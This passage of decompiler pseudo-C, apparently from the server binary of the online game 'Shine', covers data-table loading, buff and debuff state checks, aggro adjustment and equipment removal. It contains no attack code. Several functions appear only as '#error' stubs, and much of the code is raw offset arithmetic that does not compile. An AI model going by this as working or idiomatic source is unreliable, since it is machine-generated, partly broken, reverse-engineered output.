RandStartHande; if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) goto LABEL_47; v21 = &v1->mhoadb_BinData.bdb_defaultblock; LABEL_48: v1->p_mhoadb_ServerAniData[v20].ActorMaxNum = *((_BYTE *)v21 + 13); if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v22 = &v1->mhoadb_BinData.bdb_defaultblock; v1->p_mhoadb_ServerAniData[v20].ActeeMaxNum = *((_BYTE *)v22 + 26); ++i; v8 = i; if ( i >= v1->mhoadb_Number ) return; } v20 = v12; v1->p_mhoadb_ServerAniData[v20].isRand = 0; v1->p_mhoadb_ServerAniData[v20].RandCnt = 0; if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v23 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v23 = &v1->mhoadb_BinData.bdb_defaultblock; v1->p_mhoadb_ServerAniData[v20].RandStartHandle = *(_WORD *)((char *)v23 + 11); if ( v8 >= v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v21 = &v1->mhoadb_BinData.bdb_defaultblock; goto LABEL_48; } LABEL_47: v21 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); goto LABEL_48; } } //----- (004748B0) -------------------------------------------------------- void __thiscall MiniHouseObjAniDataBox::mhoadb_Load(MiniHouseObjAniDataBox *this) { MiniHouseObjAniDataBox *v1; // esi@1 MiniHouseObjAni *v2; // edi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiniHouseObjAniDataBox::mhoadb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiniHouseObjAniDataBox::mhoadb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->mhoadb_default = &v1->mhoadb_BinData.bdb_defaultblock; BinaryDataBox::bdb_ReadData(&v1->mhoadb_BinData, "../9Data/Shine/MiniHouseObjAni.shn"); v2 = v1->mhoadb_default; v1->mhoadb_Number = v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; memset(v2, 0, 0x24u); v2 = (MiniHouseObjAni *)((char *)v2 + 36); v2->Handle = 0; LOBYTE(v2->ItemID) = 0; MiniHouseObjAniDataBox::mhoadb_MakeServerAniData(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiniHouseObjAniDataBox::mhoadb_Load"); } //----- (00474970) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall DirectDistanceTable::ddt_GetFoward(DirectDistanceTable *this, int sr, int distance, SHINE_XY_TYPE *buffer) { int v4; // edi@1 __int64 v5; // qax@5 v4 = sr; if ( sr < 0 ) v4 = sr + 180 * (-1 - sr) / 0xB4u + 180; if ( v4 >= 180 ) v4 %= 0xB4u; v5 = distance * *(unsigned int *)((char *)&this->ddt_Table[0][v4].distance + (_DWORD)((char *)&wholesaver + 25476168)); buffer->x += ((WORD2(v5) & 0x3FF) + (signed int)v5) >> 10; buffer->y += (signed int)(distance * *(unsigned int *)((char *)&this->ddt_Table[0][v4].distance + (_DWORD)((char *)&wholesaver + 25476172))) / 1024; return buffer; } //----- (00474A10) -------------------------------------------------------- int __thiscall MiscDataTable::MiscData_Skill::mds_Init(int this, __int16 skillid) { int result; // eax@1 char v3; // dl@1 *(_WORD *)this = skillid; *(_WORD *)(this + 2) = -1; *(_WORD *)(this + 20) = -1; *(_BYTE *)(this + 22) &= 0xFCu; result = 0; *(_BYTE *)(this + 23) = 0; *(_DWORD *)(this + 24) = 0; *(_DWORD *)(this + 28) = 0; *(_DWORD *)(this + 32) = 0; *(_DWORD *)(this + 36) = 0; *(_DWORD *)(this + 40) = 0; *(_DWORD *)(this + 44) = 0; *(_DWORD *)(this + 48) = 0; *(_DWORD *)(this + 52) = 0; *(_DWORD *)(this + 56) = 0; *(_DWORD *)(this + 60) = 0; *(_DWORD *)(this + 64) = 0; *(_DWORD *)(this + 68) = 0; *(_DWORD *)(this + 72) = 0; *(_DWORD *)(this + 76) = 0; *(_WORD *)(this + 80) = 0; v3 = *(_BYTE *)(this + 88) & 0xFE; *(_DWORD *)(this + 84) = 0; *(_BYTE *)(this + 88) = v3; *(_WORD *)(this + 108) = 0; *(_DWORD *)(this + 92) = 0; *(_DWORD *)(this + 104) = 0; return result; } //----- (00474A80) -------------------------------------------------------- MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_FindAbStateAlways(MiscDataTable *this, unsigned __int16 abstateid) { int v2; // ST08_4@1 MiscDataTable::MiscData_AbState *result; // eax@1 unsigned __int16 key; // [sp+0h] [bp-Ch]@1 v2 = this->mdt_AbStateDataSize; key = abstateid; result = (MiscDataTable::MiscData_AbState *)bsearch( &key, this->mdt_AbStateDataArray, v2, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( !result ) result = (MiscDataTable::MiscData_AbState *)&MiscDataTable::mdt_DefAbState; return result; } // CB4F8D4: using guessed type __int16 MiscDataTable__mdt_DefAbState; //----- (00474AC0) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionEnemy::MobExplosionEnemy(MobExplosionElement::MobExplosionEnemy *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)MobExplosionElement::MobExplosionEnemy::_vftable_; } // 5AAFEC: using guessed type int (__thiscall *MobExplosionElement__MobExplosionEnemy___vftable_[2])(MobExplosionElement::MobExplosionBase *this, int mob, int); //----- (00474AD0) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionTarget::MobExplosionTarget(MobExplosionElement::MobExplosionTarget *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)&MobExplosionElement::MobExplosionTarget::_vftable_; } // 5AAFF0: using guessed type int (__thiscall *MobExplosionElement__MobExplosionTarget___vftable_)(MobExplosionElement::MobExplosionBase *this, int mob, int); //----- (00474AE0) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionAlways::MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)&MobExplosionElement::MobExplosionAlways::_vftable_; } // 5AAFF4: using guessed type int (__thiscall *MobExplosionElement__MobExplosionAlways___vftable_)(MobExplosionElement::MobExplosionBase *this, int mob, #748 *misctable); //----- (00474AF0) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionAlways::_MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)&MobExplosionElement::MobExplosionBase::_vftable_; } // 5AAFE8: using guessed type int (__stdcall *MobExplosionElement__MobExplosionBase___vftable_)(int mob, int); //----- (00474B00) -------------------------------------------------------- void __thiscall AxialListAggroAdjust::_AxialListAggroAdjust(AxialListAggroAdjust *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListAggroAdjust::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5AAFF8: using guessed type int (__stdcall *AxialListAggroAdjust___vftable_)(int, int, int distancesquar); //----- (00474B10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SkinPolymorph(int this, __int16 mobid, __int16 AbIndex) { int v3; // esi@1 char *v4; // eax@1 __int16 v5; // dx@1 int v6; // ST04_4@1 int v7; // eax@1 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@1 int v9; // [sp+18h] [bp-4h]@1 v3 = this; *(_WORD *)(*(_DWORD *)(this + 32047) + 78) = mobid; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4271; v5 = *(_WORD *)(this + 4); *((_WORD *)v4 + 2) = mobid; *((_WORD *)v4 + 3) = AbIndex; *((_WORD *)v4 + 1) = v5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v6 = *(_DWORD *)(v3 + 78); v9 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v7, v6, 0, 0, (int)&alchat, 1, 65535); v9 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00474BC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::sm_TooLongChase(ShineObjectClass::ShineServant *this) { (*(void (__stdcall **)(_DWORD))(*(_DWORD *)&this->gap0[0] + 2856))(0); } //----- (00474BD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::sm_serv_VanishReserv(ShineObjectClass::ShineServant *this, int sec) { ShineObjectClass::ShineServant *v2; // esi@1 int v3; // eax@1 __int16 **v4; // eax@1 __int16 v5; // di@3 int (__thiscall **alms)(AxialListMobSuicide *, int, #331 *, int); // [sp+4h] [bp-14h]@3 __int16 v7; // [sp+8h] [bp-10h]@3 int v8; // [sp+14h] [bp-4h]@3 v2 = this; this->ss_ExplosionManager = (MobExplosionElement::MobExplosionBase *)&mobexplosebase; v3 = *(_DWORD *)&this->gap0[0]; *(_DWORD *)&this->gap0[7620] = clockwatch.cw_CurrTick + 10 * sec; (*(void (**)(void))(v3 + 36))(); v4 = *(__int16 ***)&v2->gap0[7576]; if ( v4 ) { if ( *v4 ) { v5 = **v4; AxialListIterator::AxialListIterator((AxialListIterator *)&alms); alms = &AxialListMobSuicide::_vftable_; v7 = v5; v8 = 0; AxialListMobSuicide::alms_SelfKill((AxialListMobSuicide *)&alms, (#331 *)v2); v8 = -1; alms = &AxialListMobSuicide::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alms); } } } // 5986E4: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #331 *obj, int distancesquar); // 5FCBB0: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (00474C80) -------------------------------------------------------- #error "474C80: undefined or illegal type '#748' (funcsize=259)" //----- (00475000) -------------------------------------------------------- #error "475000: undefined or illegal type '#748' (funcsize=72)" //----- (00475130) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_SkillBufferAlloc(void *base, const char *flag) { void *v2; // esi@1 unsigned int v3; // eax@1 __int16 v4; // di@1 unsigned int v5; // ST08_4@4 unsigned int v6; // ST08_4@8 unsigned int v7; // ST08_4@9 __int16 key; // [sp+14h] [bp-84h]@4 unsigned int v9; // [sp+88h] [bp-10h]@12 int v10; // [sp+94h] [bp-4h]@1 v2 = base; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiscDataTable::mdt_SkillBufferAlloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiscDataTable::mdt_SkillBufferAlloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; v3 = BTree::operator__(&skillnametree, flag); v4 = v3; if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBufferAlloc : Imvalid skill name", flag); ShineExit("MiscDataTable::mdt_SkillBufferAlloc"); } v5 = *((_DWORD *)v2 + 2900); key = v3; if ( !bsearch(&key, v2, v5, 0x74u, MobAttackSequence::AttackElement4Mob::ae4m_Compare) ) { if ( *((_DWORD *)v2 + 2900) >= 0x64u ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBufferAlloc : Too many Data", 0); ShineExit("MiscDataTable::mdt_SkillBufferAlloc"); } MiscDataTable::MiscData_Skill::mds_Init((int)((char *)v2 + 116 * *((_DWORD *)v2 + 2900)), v4); v6 = *((_DWORD *)v2 + 2900) + 1; *((_DWORD *)v2 + 2900) = v6; qsort(v2, v6, 0x74u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } v7 = *((_DWORD *)v2 + 2900); key = v4; if ( bsearch(&key, v2, v7, 0x74u, MobAttackSequence::AttackElement4Mob::ae4m_Compare) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBufferAlloc : skillarray error", 0); ShineExit("MiscDataTable::mdt_SkillBufferAlloc"); } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiscDataTable::mdt_SkillBufferAlloc"); __security_check_cookie(v9); } //----- (00475300) -------------------------------------------------------- MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_AbStateBufferAlloc(MiscDataTable *this, char *index) { MiscDataTable *v2; // esi@1 unsigned int v3; // eax@1 __int16 v4; // di@1 unsigned int v5; // ST08_4@4 int v6; // eax@8 char v7; // cl@8 unsigned int v8; // ST08_4@8 unsigned int v9; // ST08_4@9 void *v10; // esi@9 __int16 key; // [sp+10h] [bp-18h]@4 int v13; // [sp+24h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiscDataTable::mdt_AbStateBufferAlloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiscDataTable::mdt_AbStateBufferAlloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v3 = BTree::operator__(&unk_608624, index); v4 = v3; if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateBufferAlloc : Imvalid skill name", index); ShineExit("MiscDataTable::mdt_AbStateBufferAlloc"); } v5 = v2->mdt_AbStateDataSize; key = v3; if ( !bsearch(&key, v2->mdt_AbStateDataArray, v5, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare) ) { if ( v2->mdt_AbStateDataSize >= 0x32u ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateBufferAlloc : Too many Data", 0); ShineExit("MiscDataTable::mdt_AbStateBufferAlloc"); } v6 = (int)((char *)v2 + 12 * (v2->mdt_AbStateDataSize + 967)); v7 = v2->gap0[12 * (v2->mdt_AbStateDataSize + 967) + 2] & 0xF0; *(_WORD *)v6 = v4; *(_BYTE *)(v6 + 2) = v7; *(_DWORD *)(v6 + 4) = 0; *(_DWORD *)(v6 + 8) = 0; v8 = v2->mdt_AbStateDataSize + 1; v2->mdt_AbStateDataSize = v8; qsort((void *)v2->mdt_AbStateDataArray, v8, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } v9 = v2->mdt_AbStateDataSize; key = v4; v10 = bsearch(&key, v2->mdt_AbStateDataArray, v9, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateBufferAlloc : skillarray error", 0); ShineExit("MiscDataTable::mdt_AbStateBufferAlloc"); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiscDataTable::mdt_AbStateBufferAlloc"); return (MiscDataTable::MiscData_AbState *)v10; } //----- (004754C0) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionBase::meb_Vanish(MobExplosionElement::MobExplosionBase *this, int mob) { int sec; // [sp+18h] [bp+8h]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Vanish"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionBase::meb_Vanish"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mob ) (*(void (__stdcall **)(int))(*(_DWORD *)mob + 2856))(sec); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Vanish"); } // 4754C0: inconsistent function type and number of purged bytes //----- (00475560) -------------------------------------------------------- #error "475560: undefined or illegal type '#748' (funcsize=174)" //----- (004757A0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Run(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Run"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Run"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 1 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Run"); return 1; } //----- (00475810) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Walk(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Walk"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Walk"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 2 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Walk"); return 1; } //----- (00475880) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attack(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Attack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 4 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attack"); return 1; } //----- (004758F0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attacked(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attacked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Attacked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 8 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attacked"); return 1; } //----- (00475960) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange(AbnormalStateContainer::AbstateElementInObject *this, CharacterInventory *inven) { AbnormalStateContainer::AbstateElementInObject *v2; // esi@1 MiscDataTable::MiscData_AbState *v3; // eax@1 int v4; // eax@2 DiceTaiSai *v5; // eax@4 int v6; // eax@5 ItemDataBox::ItemDataBoxIndex *v7; // eax@5 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v10; // [sp+14h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->aeo_MiscData; v10 = 0; if ( !v3 || (v4 = *(_DWORD *)&v3->mdas_ResetEquipment._bf0) == 0 || v4 != 1 || (v5 = (DiceTaiSai *)((int (__stdcall *)(signed int))inven->ci_Equipment.baseclass_0.vfptr->ib_GetInventoryCell)(10)) == 0 ) goto LABEL_7; MoveManager::MoveManager(v5); v7 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v6 + 8)); if ( !v7 ) { v2->aeo_Tick.terminate = clockwatch.cw_CurrTick; LABEL_7: --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"); return 1; } if ( *(_DWORD *)&v2->aeo_MiscData->gap5[3] != 1 || v7->data->Class == 7 ) goto LABEL_7; v2->aeo_Tick.terminate = clockwatch.cw_CurrTick; v10 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (00475A70) -------------------------------------------------------- #error "475A70: undefined or illegal type '#331' (funcsize=117)" //----- (00475C10) -------------------------------------------------------- #error "475C10: undefined or illegal type '#331' (funcsize=98)" //----- (00475D70) -------------------------------------------------------- char __thiscall AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call(AbnormalStateContainer::ListIteratorAbstateEquip *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle) { AbnormalStateContainer::ListIteratorAbstateEquip *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange(ele, v3->liae_Inven); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call"); return v5; } //----- (00475E20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // eax@1 int (__stdcall **liae)(int, __int16); // [sp+8h] [bp-14h]@1 char *v5; // [sp+Ch] [bp-10h]@1 int v6; // [sp+18h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; liae = &AbnormalStateContainer::ListIteratorAbstateEquip::_vftable_; v5 = (char *)v1 + 32200; v2 = *(_DWORD *)v1; LOBYTE(v6) = 1; v3 = (*(int (__thiscall **)(void *))(v2 + 1304))(v1); List::l_4AllInList((List *)(v3 + 3480), (ListIteratorDefault *)&liae); --funcallanalizer.fca_stackpoint; liae = &ListIteratorDefault::_vftable_; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip"); } // 5AB52C: using guessed type int (__stdcall *AbnormalStateContainer__ListIteratorAbstateEquip___vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00475EF0) -------------------------------------------------------- #error "475EF0: undefined or illegal type '#331' (funcsize=36)" //----- (00475FA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust(void *this, int aggrorate, int range) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 int (__stdcall **alaa)(int, int, int); // [sp+8h] [bp-14h]@1 int v7; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&alaa); alaa = &AxialListAggroAdjust::_vftable_; v7 = aggrorate; v4 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v8) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, range, 0, (int)&alaa, 0, 65535); LOBYTE(v8) = 0; alaa = &AxialListAggroAdjust::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alaa); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust"); } // 5AAFF8: using guessed type int (__stdcall *AxialListAggroAdjust___vftable_)(int, int, int distancesquar); //----- (00476090) -------------------------------------------------------- #error "476090: undefined or illegal type '#331' (funcsize=39)" //----- (00476140) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon(void *this) { void *v1; // esi@1 bool v2; // zf@1 int v3; // eax@1 int v4; // [sp+0h] [bp-14h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__stdcall **)(int))(**((_DWORD **)v1 + 1001) + 56))(v4) == 15; v3 = *(_DWORD *)v1; if ( v2 ) { (*(void (__thiscall **)(void *))(v3 + 2380))(v1); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 2380))(v1, 10); } else { (*(void (__thiscall **)(void *))(v3 + 2380))(v1); } (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2712))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2716))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon"); } //----- (00476210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 56))() == 8 || (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 56))() == 1 ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v1 + 2380))(v1, 10); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield"); } //----- (004762D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip(void *this, int equipslot) { void *v2; // esi@1 int v3; // edx@1 DiceTaiSai *v4; // eax@3 DiceTaiSai *v5; // ebx@3 int v6; // eax@4 int v7; // eax@5 ChargedEffectContainer *v8; // ST30_4@6 int v9; // eax@6 int v10; // edx@6 InventoryLocking::InventoryCellLock *v11; // eax@6 int v12; // eax@8 __int16 v13; // bp@8 void *v14; // eax@8 char *v15; // edi@8 int v16; // eax@8 int v17; // eax@8 int v18; // edi@8 char v19; // al@8 ZoneBaseSession *v20; // eax@9 int v21; // eax@10 int v22; // ebp@10 int v23; // edx@10 int v24; // eax@10 int v25; // eax@10 int v26; // ebp@10 int v27; // eax@10 int v28; // eax@10 int v29; // eax@10 int v30; // edi@10 int v31; // ebp@10 int v32; // eax@10 int v33; // eax@10 InventoryLocking::InventoryCellLock *v34; // eax@10 char *v35; // [sp+30h] [bp-4Ch]@2 int v36; // [sp+44h] [bp-38h]@8 FunctionEntarance _; // 